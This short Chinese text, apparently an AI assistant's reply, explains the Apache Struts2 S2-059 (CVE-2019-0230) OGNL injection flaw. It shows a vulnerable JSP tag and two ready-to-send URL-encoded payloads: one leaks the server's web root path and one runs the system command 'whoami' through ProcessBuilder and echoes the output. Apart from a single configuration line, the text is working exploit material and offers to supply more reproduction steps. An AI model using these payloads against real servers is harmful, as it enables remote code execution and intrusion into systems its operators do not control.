S2-059 (CVE-2019-0230) 是Apache Struts2框架中的一个远程代码执行漏洞，影响Struts 2.0.0至2.5.20版本。该漏洞源于框架对某些标签属性的不充分处理，攻击者可以通过构造恶意OGNL表达式实现远程代码执行。
该漏洞主要存在于Struts2的标签库中，特别是当使用某些标签(如url、a等)时，如果开发者直接将用户可控数据作为标签属性值而未做适当处理，攻击者可以构造包含OGNL表达式的恶意请求，导致服务器端执行任意代码。
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<body>
<s:url value="%{id}" />
</body>
</html>
http://vulnerable-site.com/vulnerable.action?id=%25%7B%23a%3D%23context%5B%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%5D%2C%23b%3D%23a.getRealPath(%22%2F%22)%2C%23matt%3D%23context%5B%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%5D%2C%23matt.getWriter().println(%23b)%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%7D
上述请求会尝试获取服务器web根目录路径并返回
更危险的payload示例(执行系统命令):
%25%7B%23a%3D%28new%20java.lang.ProcessBuilder%28%27whoami%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
<constant name="struts.ognl.allowStaticMethodAccess" value="false"/>如需更详细的复现步骤或特定环境配置，请提供更多具体信息。